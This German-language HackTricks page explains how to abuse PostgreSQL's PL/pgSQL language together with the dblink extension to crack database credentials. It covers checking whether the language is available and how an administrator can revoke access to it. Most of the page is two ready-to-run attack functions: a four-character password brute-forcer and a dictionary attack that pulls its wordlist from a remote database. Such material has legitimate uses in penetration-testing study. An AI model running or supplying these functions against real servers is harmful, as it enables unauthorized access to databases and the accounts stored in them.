Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
Weitere Informationen zu diesen Angriffen finden Sie im Originaldokumenthier.
PL/pgSQL ist eine voll ausgestattete Programmiersprache, die über die Möglichkeiten von SQL hinausgeht, indem sie erweiterte prozedurale Kontrolle bietet. Dies umfasst die Verwendung von Schleifen und verschiedenen Kontrollstrukturen. Mit der in der PL/pgSQL-Sprache erstellten Funktionen können SQL-Anweisungen und Trigger aufgerufen werden, wodurch der Umfang der Operationen in der Datenbankumgebung erweitert wird.
Sie können diese Sprache missbrauchen, um PostgreSQL dazu zu bringen, die Anmeldeinformationen der Benutzer per Bruteforce zu erzwingen, sie muss jedoch in der Datenbank vorhanden sein. Sie können dies überprüfen, indem Sie Folgendes verwenden:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
Standardmäßig ist das Erstellen von Funktionen ein Privileg, das PUBLIC gewährt wird, wobei PUBLIC für jeden Benutzer in diesem Datenbanksystem steht. Um dies zu verhindern, könnte der Administrator das USAGE-Privileg von der PUBLIC-Domäne entzogen haben:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
In diesem Fall würde unsere vorherige Abfrage unterschiedliche Ergebnisse ausgeben:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
Beachten Sie, dass für das folgende Skript die Funktion dblink vorhanden sein muss. Wenn sie nicht vorhanden ist, können Sie versuchen, sie mit dem Befehl zu erstellen:
CREATE EXTENSION dblink;
Passwort-Brute-Force
So können Sie einen Brute-Force-Angriff auf ein 4-stelliges Passwort durchführen:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Beachten Sie, dass selbst das Brute-Forcen von 4 Zeichen mehrere Minuten dauern kann.
Sie könnten auch eine Wortliste herunterladen und nur diese Passwörter ausprobieren (Wörterbuchangriff):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version des PEASS oder HackTricks als PDF herunterladen? Überprüfen Sie die ABONNEMENTPLÄNE!